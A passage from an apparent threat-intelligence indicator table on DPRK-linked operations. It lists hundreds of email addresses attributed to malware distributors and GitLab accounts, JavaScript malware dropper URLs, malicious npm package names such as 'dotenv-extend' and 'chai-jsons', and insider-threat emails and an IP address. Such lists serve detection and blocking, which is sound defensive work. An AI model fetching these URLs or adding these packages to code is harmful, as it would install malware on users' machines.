`robert.radwanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `roman.bobinski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `roman.ulanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `stefan.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `taraslysenko@mail.io` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `corresol28@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `corresol28@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `paniker1110@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `walterjgould77@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `supernftier@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `bohuslavskyir@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `artizjusz11@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `bartonfratz@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `cryptodev26@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `deinsulabasil@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `elsaadanifaiek@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `felipe.debarros@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `geordiecuppaidge684@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `greatbusinessman517@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `jhmnuykbvgftrss@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kainmcguire@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kimberlysunshine137@yahoo.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `konovalov1256@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kvashinalexander@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `markstevemark85@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `oleksandrbokii963@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `paniker1110@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `rubenbolanos19733@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `simpsonkeith686@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `sonniehutley5@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `tagi238761@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `vlulepet9@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `cnova.business.en@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `danielmcevily.business918@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jaimetru003@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `daysabethtederstz7533@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `thiagocosta199295@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cptrhzv09@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `chainsaw1107@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mutsabsaskajgig0f@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `snowl3784@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dieterwang@proton.me` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cesarpassos4808@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lazar.master.0204@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lujancamryn405@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `harryjason19880502@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `fraserhutchison1@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `stovbanoleksandr14@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ramirezhector9299@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mimoriokamoto@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `wilson.wen2145@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jasonfissionawgyi08293@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `olelangaard9@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mirandacunningham1993@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jerryjames1997@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `caryphillips.business727@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1103@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1024@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1020@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business0987@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `alphabrownsapon70555@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `welbykchamu4i72@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `eron4236@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `reddixyxzh551438@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1112@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `richardcook.business93@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jamesgolden198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `erik423131@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `alfredogomez1984126@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jasonharris198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `xavieryetikqpir36636@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `marcello.armand.tf7@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `gabriel.sanchez255@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `aronlin712@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rickcarr1014@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `sallydunnet.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dr.md.hubert.business916@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tommyrole0301@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jbutton717@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lilian.rodrigues.re@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `andrewtilley.us@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `davidaheld.manager@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lovelysong0209@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `moreandmore082@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `meirjacob727@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `harry.work206@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `abdelrahman5520032019@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `karenhooi.cpa.cga.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `craigsmith93.business@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `paulodiego0902@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `faelanholtmdjld41341@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `encar.geric727510@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `irynalavreniuk38@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `melnikoleg995@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `opalinsigniagyprt29567@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `thorneaustinngzsz52979@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `joshuataub3@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `itspeterszabo@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `xylosmontagueujsvt83787@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ivicastojadin488@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996017@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `bryandev0418@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ruslanlarionov77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `superdev@outlook.com.au` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cristhianmartinezrom7@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `natasa.golubovic90@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `weili.walk@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `afaq91169@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mahmodghnaj1@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `look.as.united@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rochaevertondev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tabishhassan01998@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `temorexviashvili17@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `vovalishcn77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996015@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `suryaedg88@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `maurostaver9@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `pleasemeup214@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `vitalii214.ilnytskyi@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `reactangulardev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `skyearth711@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `migueljose81234@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996010@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `blackwang104@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `kagan.hungri@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `littebaby232355@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `kenycarl92@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `arnas.tf7@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `nandawsu58@hotmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `magalhaesbruno236@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `martytowne03@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `peter@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `martinez@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `peterforward@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rick.cto@dantelabs.us` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tomgleeson92@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `huqyyitizomu@hotmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tracykevin5590@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seniorsky92@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `meftaht531@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tapiasamjann@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `johnwatson2327a@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `donald.edler0626@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `chrisritter5272@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `hs8179189@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dredsoft@proton.me` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `bloxdev1999@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `star712418@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jackson.murray.tf7@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `hudsonramsey107@outlook.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `samjanntapia@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dyup58725@gmail.com` | email | malware | N/A | June 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `davidfernandez420@outlook.com` | email | malware | N/A | May 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `scottdavis8188@gmail.com` | email | malware | N/A | May 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `samjannt1211@gmail.com` | email | malware | N/A | April 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ahmed03010229@gmail.com` | email | malware | N/A | April 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `hidranomagica@outlook.com` | email | malware | N/A | March 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jackson.blau.eth@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `agne09541@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `antontarasiuk0512@gmail.com` | email | malware | N/A | February 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `michael.dilks8500@gmail.com` | email | malware | N/A | January 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ignacioquesada127@gmail.com` | email | malware | N/A | January 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `http://chainlink-api-v3.cloud/api/service/token/3ae1d04a7c1a35b9edf045a7d131c4a7` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.cloud/api/service/token/792a2e10b9eaf9f0a73a71916e4269bc` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.com/api/service/token/1a049de15ad9d038a35f0e8b162dff76` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.com/api/service/token/7d6c3b0f7d1f3ae96e1d116cbeff2875` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://chainlink-api-v3.com/api/service/token/b2040f01294c183945fdbe487022cf8e` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://openmodules.org/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `http://w3capi.marketing/api/v2/node/d6a8d0d14d3fbb3d5e66c8b007b7a2eb` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/106` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/212` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/81` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/823` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api-server-mocha.vercel.app/api/ipcheck-encrypted/99` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.mocki.io/v2/8sg8bhsv/tracks/errors/665232` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/159a15993f79c22e8ff6` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/62755a9b33836b5a6c28` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/b1f111907933b88418e4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/b68a5c259541ec53bb5d` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/c82d987dd2a0fb62e87f` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/d1ef256fc2ad6213726e` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/d4dfbbac8d7c44470beb` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/e6a6bfb97a294115677d` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/f4be0f7713a6fcdaac8b` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://api.npoint.io/f96fb4e8596bf650539c` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://astraluck-vercel.vercel.app/api/data` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://bs-production.up.railway.app/on` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://getApilatency.onrender.com/checkStatus` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://getpngdata.vercel.app/api/data` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://googlezauthtoken.vercel.app/checkStatus?id=S,T` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://ip-api-test.vercel.app/api/ip-check-encrypted/3aeb34a38` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://ip-check-server.vercel.app/api/ip-check-encrypted/3aeb34a37` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/4NAKK` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/8RLOV` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/CNMYL` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/DMVPT` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/E4YPZ` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/E7GKK` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/FM8D6` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/GLGT4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/L4T7Y` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/PCDZO` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/PQPTZ` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/WCXNT` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/XRGF3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jsonkeeper.com/b/XV3WO` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://jwt-alpha-woad.vercel.app/api` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://metric-analytics.vercel.app/api/getMoralisData` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://pngconvert-p0kl4fodi-jhones-projects-f8ddbcbe.vercel.app/api` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/linux?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/linux?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/linux?flag=8` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/mac?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/mac?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/mac?flag=8` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=5` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-config-settings.vercel.app/settings/windows?flag=8` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load-config.vercel.app/settings/linux?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load-config.vercel.app/settings/mac?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load-config.vercel.app/settings/windows?flag=3` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/linux?flag=2` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/linux?flag=4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/linux?flag=9` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/mac?flag=2` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/mac?flag=4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/mac?flag=9` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/windows?flag=2` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/windows?flag=4` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://vscode-load.vercel.app/settings/windows?flag=9` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://web3-metric-analytics.vercel.app/api/getMoralisData` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `https://zone-api-navy.vercel.app/api/ip-check/99` | url | malware | N/A | N/A | JavaScript malware dropper URL | Year in Review |\n| `passport-google-auth-token` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `dotenv-extend` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `tailwindcss-animation-advanced` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `seeds-random` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `chai-jsons` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `dotenv-intend` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `preset-log` | npm package | malware | N/A | N/A | Malicious NPM dependency used to deliver malware | Year in Review |\n| `111.197.183.74` | ipv4 | insider | October 2025 | October 2025 | Originating IP address of Kil-Nam Kang | 1 |\n| `alancdouglas@googlemail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `alphatech1010@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `amitnyc007@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `anniegirl2023@163.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `appyleonardo77@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `awmango123@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `bowavelink@163.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `cpduran0622@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `docker1001@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `elvialc620@163.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `emilyvanessaaa@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `enrique122528@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `erasmusmadridtrops@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `ericdoublin1111@yahoo.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro1@gmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `eruqulpuaro1@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `fangshan2019@hotmail.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| `goldstar0906@outlook.com` | email | insider | N/A | N/A | Threat actor-controlled email | 1 |\n| 